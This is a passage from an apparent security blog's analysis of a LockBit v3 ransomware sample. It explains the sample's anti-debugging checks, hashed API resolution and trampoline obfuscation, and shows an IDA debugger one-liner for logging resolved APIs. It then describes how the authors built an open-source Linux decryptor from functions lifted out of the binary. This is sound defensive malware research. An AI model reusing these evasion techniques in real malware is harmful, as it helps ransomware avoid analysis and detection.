12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In the screenshot above, the sample finds the heap using the current process&#8217;s <strong><a href="https://en.wikipedia.org/wiki/Process_Environment_Block">Process Environment Block (</a><a href="https://www.google.com/url?q=https://en.wikipedia.org/wiki/Process_Environment_Block&amp;sa=D&amp;source=editors&amp;ust=1714637272671921&amp;usg=AOvVaw3EXBRanYp9-IShSdhBONx1">PEB</a><a href="https://www.google.com/url?q=https://en.wikipedia.org/wiki/Process_Environment_Block&amp;sa=D&amp;source=editors&amp;ust=1714637272672119&amp;usg=AOvVaw3ZDOyDYQ_KwnUcbGgOyqcy">)</a></strong>. Then, it tests the ForceFlag&nbsp;field, which is at offset 0x44, against 0x40000000 to detect a debugger.</p><p>These checks are scattered around the sample&#8217;s logic near any heap operation. The easiest way to bypass these anti-debugging checks is to modify the process heap structures directly and reset both the Flag&nbsp;and ForceFlag&nbsp;fields&#8217; most significant byte&nbsp;to 0x00.</p><p>This sample also contains the following additional anti-debugging features:</p><ul><li><p>Checking beyond the bound of the allocated heap memory against magic constants like 0xABABABAB. These magic constants come from a Windows feature that adds additional guardrails to heap memory to quickly detect memory corruption bugs. This feature is only enabled if the current process is running under a debugger. This check can also be bypassed by modifying the Flag<strong>&nbsp;</strong>and ForceFlag<strong>&nbsp;</strong>fields of the heap.</p></li><li><p>Calling NtProtectVirtualMemory()&nbsp;and RtlEncryptMemory()&nbsp;to encrypt the DbgUiRemoteBreakin()&nbsp;function. This causes the current process to crash if there is any attempt to attach a debugger afterwards. This does not have any effect if we start executing the sample using the debugger.</p></li><li><p>Calling NtSetInformationThread()&nbsp;with ThreadHideFromDebugger (0x11)&nbsp;for the current thread. This call only happens a few times at the beginning of the execution flow. A quick way to bypass this is patching the function to simply return NT_SUCCESS&nbsp;(0x00).</p></li></ul><h2>Obfuscation</h2><h3>Manual API resolution</h3><p>To avoid leaking capabilities and <a href="https://cloud.google.com/blog/topics/threat-intelligence/tracking-malware-import-hashing/">being tracked using the import hash</a>, this sample manually resolves Windows APIs using the PEB.</p><p>The PEB contains all the properties of its associated process, including a <a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data">list of loaded DLLs</a>. The sample can walk this list of DLLs and their <a href="https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#export-directory-table">export tables</a>&nbsp;to manually find addresses of the necessary Windows APIs. To further avoid leaking strings, &nbsp;the sample manually resolves Windows APIs using a hashing algorithm shown below:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!OlSQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22a1416b-059f-4e62-bd74-fd6a20c03c51_859x378.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!OlSQ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22a1416b-059f-4e62-bd74-fd6a20c03c51_859x378.png 424w, https://substackcdn.com/image/fetch/$s_!OlSQ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22a1416b-059f-4e62-bd74-fd6a20c03c51_859x378.png 848w, https://substackcdn.com/image/fetch/$s_!OlSQ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22a1416b-059f-4e62-bd74-fd6a20c03c51_859x378.png 1272w, https://substackcdn.com/image/fetch/$s_!OlSQ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22a1416b-059f-4e62-bd74-fd6a20c03c51_859x378.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!OlSQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22a1416b-059f-4e62-bd74-fd6a20c03c51_859x378.png" width="859" height="378" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/22a1416b-059f-4e62-bd74-fd6a20c03c51_859x378.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:378,&quot;width&quot;:859,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:31791,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!OlSQ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22a1416b-059f-4e62-bd74-fd6a20c03c51_859x378.png 424w, https://substackcdn.com/image/fetch/$s_!OlSQ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22a1416b-059f-4e62-bd74-fd6a20c03c51_859x378.png 848w, https://substackcdn.com/image/fetch/$s_!OlSQ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22a1416b-059f-4e62-bd74-fd6a20c03c51_859x378.png 1272w, https://substackcdn.com/image/fetch/$s_!OlSQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22a1416b-059f-4e62-bd74-fd6a20c03c51_859x378.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The sample applies the hashing algorithm above on the DLLs and their export names to find a match instead of comparing strings normally. However, in addition to the &#8220;Addition-Rotate Right 13&#8221; operation, the sample also XORs the result with the 0x10035FFF&nbsp;constant. This results in a set of API hashes that are different from other malware families using a similar technique.</p><h3>Trampoline code</h3><p>The sample doesn&#8217;t use the resolved APIs directly. Instead, for each API, it allocates a small memory chunk and builds a small piece of trampoline code which calculates and jumps to the target API.</p><p>For example, instead of executing a standard indirect call to NtOpenProcess()&nbsp;as an import, the sample calls to a pointer at address 0x00fc5474, which points to a function at address 0x00330bc8 on the heap. This function is shown below:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!p9cp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc43258a4-32b2-4f03-9a9f-40fcff8a1655_548x266.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!p9cp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc43258a4-32b2-4f03-9a9f-40fcff8a1655_548x266.png 424w, https://substackcdn.com/image/fetch/$s_!p9cp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc43258a4-32b2-4f03-9a9f-40fcff8a1655_548x266.png 848w, https://substackcdn.com/image/fetch/$s_!p9cp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc43258a4-32b2-4f03-9a9f-40fcff8a1655_548x266.png 1272w, https://substackcdn.com/image/fetch/$s_!p9cp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc43258a4-32b2-4f03-9a9f-40fcff8a1655_548x266.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!p9cp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc43258a4-32b2-4f03-9a9f-40fcff8a1655_548x266.png" width="548" height="266" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c43258a4-32b2-4f03-9a9f-40fcff8a1655_548x266.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:266,&quot;width&quot;:548,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:31527,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!p9cp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc43258a4-32b2-4f03-9a9f-40fcff8a1655_548x266.png 424w, https://substackcdn.com/image/fetch/$s_!p9cp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc43258a4-32b2-4f03-9a9f-40fcff8a1655_548x266.png 848w, https://substackcdn.com/image/fetch/$s_!p9cp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc43258a4-32b2-4f03-9a9f-40fcff8a1655_548x266.png 1272w, https://substackcdn.com/image/fetch/$s_!p9cp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc43258a4-32b2-4f03-9a9f-40fcff8a1655_548x266.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>After the rol&nbsp;operation, eax&nbsp;becomes 0x7743FC50, which is the address of ntdll!NtOpenProcess(). This makes static analysis significantly more tedious. We would have a hard time tracking all the calls to the trampoline code.</p><p>Because we can bypass the anti-debugging checks, we can use a debugger to help us automate the renaming of the trampoline calls. The logic to resolve APIs and setup the trampoline code is at 0x00FA5dA0. Using the IDA Free debugger, we can set a breakpoint at 0x00FA5DDB, which is the instruction right after the call to manually resolve Windows APIs. Then, we can edit the breakpoint to execute the following one-liner:</p><pre><code>fprintf(fopen("out.txt", "a+"),
        "%s\n",
        sprintf("%a -- %s",
                GetRegValue("edi"),
                get_name(GetRegValue("eax"))
        )
)</code></pre><p>This small snippet tells the IDA Free debugger to log the following items to the file &#8220;out.txt&#8221; in the current working directory:</p><ul><li><p>The current value of the edi&nbsp;register. This is the address of the trampoline code. In our example, this would be 0x00FA5dA0.</p></li><li><p>The name of the value in the eax&nbsp;register. The eax&nbsp;register holds the address of the resolved API. In our example, eax&nbsp;would be 0x7743FC50. Within the current process context, this is the address of ntdll!NtOpenProcess().</p></li></ul><p>Once the breakpoint is ready, we can let the sample execute through all the API resolution logic. At the end, we should see the out.txt&nbsp;file that looks similar to this:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_kQ9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a7222bc-59c3-490d-9709-554ac78b2389_649x432.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_kQ9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a7222bc-59c3-490d-9709-554ac78b2389_649x432.png 424w, https://substackcdn.com/image/fetch/$s_!_kQ9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a7222bc-59c3-490d-9709-554ac78b2389_649x432.png 848w, https://substackcdn.com/image/fetch/$s_!_kQ9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a7222bc-59c3-490d-9709-554ac78b2389_649x432.png 1272w, https://substackcdn.com/image/fetch/$s_!_kQ9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a7222bc-59c3-490d-9709-554ac78b2389_649x432.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_kQ9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a7222bc-59c3-490d-9709-554ac78b2389_649x432.png" width="649" height="432" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3a7222bc-59c3-490d-9709-554ac78b2389_649x432.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:432,&quot;width&quot;:649,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:41965,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_kQ9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a7222bc-59c3-490d-9709-554ac78b2389_649x432.png 424w, https://substackcdn.com/image/fetch/$s_!_kQ9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a7222bc-59c3-490d-9709-554ac78b2389_649x432.png 848w, https://substackcdn.com/image/fetch/$s_!_kQ9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a7222bc-59c3-490d-9709-554ac78b2389_649x432.png 1272w, https://substackcdn.com/image/fetch/$s_!_kQ9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a7222bc-59c3-490d-9709-554ac78b2389_649x432.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>After the sample finishes resolving all the APIs, we can dump the current process including all of its allocated memory for further analysis. Then, we can write a small IDA script to parse out.txt&nbsp;and rename all the trampoline calls to the appropriate APIs. This will help speed up our static analysis significantly. An example of such a script is available in <a href="https://blog.calif.io/i/144230301/appendix-d-idc-script-to-rename-functions">Appendix D</a>.</p><h1>Appendix B: Open-source decryption tool</h1><p>The leaked LockBit v3 builder generated the encryptor and decryptor for Windows. Although the decryptor can run on Linux using <a href="https://www.winehq.org/">Wine</a>, Calif decided to re-implement the decryption logic in C for the following reasons:</p><ul><li><p>We want to run the decryptor natively on VMWARE ESXi.</p></li><li><p>We want to confirm our understanding of the encryption scheme.</p></li><li><p>We want to avoid executing the malware author&#8217;s decryptor which may contain other data corruption bugs.</p></li><li><p>Other affected organizations may also find our decryptor useful.</p></li></ul><p>This section describes how we build a decryption tool for Linux. The tool is open-source and can be downloaded from <a href="https://github.com/califio/lockbit-v3-linux-decryptor">GitHub</a>.</p><h2>Extracting the decryption function</h2><p>Calif identified the two crypto functions to be Salsa20&nbsp;(0x00FA20AC) and RSA with no padding&nbsp;(0x00FA17B4). Initially, instead of fully reverse-engineering these functions, we take the code directly from the binary and run it as shellcode inside a C wrapper. Calif&#8217;s decisions were based on the following reasons:</p><ul><li><p>It would take us too long to fully analyze and confirm the algorithms.</p></li><li><p>The sample uses a custom implementation of the two algorithms. Therefore, re-implementation or using a standard library may introduce discrepancies and bugs.</p></li></ul><p>We extract the following items directly from the ransomware into shellcode that we can call using our wrapper:</p><ul><li><p>The Salsa20 encryption function and related functions</p></li><li><p>The Raw RSA function and related functions</p></li><li><p>The checksum calculation algorithm</p></li><li><p>The APLib compression function and related functions</p></li></ul><p>When preparing these functions, we also fix any absolute address references so we can call them correctly in our wrapper without causing a crash.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!VNJX!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf85ae93-02ec-4471-9afb-2613e48478bc_1258x232.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!VNJX!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf85ae93-02ec-4471-9afb-2613e48478bc_1258x232.png 424w, https://substackcdn.com/image/fetch/$s_!VNJX!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf85ae93-02ec-4471-9afb-2613e48478bc_1258x232.png 848w, https://substackcdn.com/image/fetch/$s_!VNJX!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf85ae93-02ec-4471-9afb-2613e48478bc_1258x232.png 1272w, https://substackcdn.com/image/fetch/$s_!VNJX!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf85ae93-02ec-4471-9afb-2613e48478bc_1258x232.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!VNJX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf85ae93-02ec-4471-9afb-2613e48478bc_1258x232.png" width="1258" height="232" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bf85ae93-02ec-4471-9afb-2613e48478bc_1258x232.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:232,&quot;width&quot;:1258,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:75804,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!VNJX!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf85ae93-02ec-4471-9afb-2613e48478bc_1258x232.png 424w, https://substackcdn.com/image/fetch/$s_!VNJX!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf85ae93-02ec-4471-9afb-2613e48478bc_1258x232.png 848w, https://substackcdn.com/image/fetch/$s_!VNJX!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf85ae93-02ec-4471-9afb-2613e48478bc_1258x232.png 1272w, https://substackcdn.com/image/fetch/$s_!VNJX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf85ae93-02ec-4471-9afb-2613e48478bc_1258x232.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h2>Implementation</h2><p>The sample is compiled for a 32-bit Windows environment. To get the shellcode to run correctly, we also need to compile our code for this environment. By default, GCC would default to the <strong>cdecl</strong>&nbsp;calling convention, but Windows uses <strong>stdcall</strong>. We fix that by adding the attribute (__attribute__((stdcall)).</p><p>The data section of an executable is marked as <a href="https://en.wikipedia.org/wiki/NX_bit">non-executable</a>, therefore we can not execute the shellcode directly from there. Instead, we allocate new memory pages with executable permission and copy the shellcode over.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Tivv!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe9adba6e-28fc-4077-94dd-4fe3f9453d1a_788x95.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Tivv!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe9adba6e-28fc-4077-94dd-4fe3f9453d1a_788x95.png 424w, https://substackcdn.com/image/fetch/$s_!Tivv!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe9adba6e-28fc-4077-94dd-4fe3f9453d1a_788x95.png 848w, https://substackcdn.com/image/fetch/$s_!Tivv!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe9adba6e-28fc-4077-94dd-4fe3f9453d1a_788x95.png 1272w, https://substackcdn.com/image/fetch/$s_!Tivv!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe9adba6e-28fc-4077-94dd-4fe3f9453d1a_788x95.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Tivv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe9adba6e-28fc-4077-94dd-4fe3f9453d1a_788x95.png" width="788" height="95" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e9adba6e-28fc-4077-94dd-4fe3f9453d1a_788x95.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:95,&quot;width&quot;:788,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:35335,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Tivv!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe9adba6e-28fc-4077-94dd-4fe3f9453d1a_788x95.png 424w, https://substackcdn.com/image/fetch/$s_!Tivv!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe9adba6e-28fc-4077-94dd-4fe3f9453d1a_788x95.png 848w, https://substackcdn.com/image/fetch/$s_!Tivv!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe9adba6e-28fc-4077-94dd-4fe3f9453d1a_788x95.png 1272w, 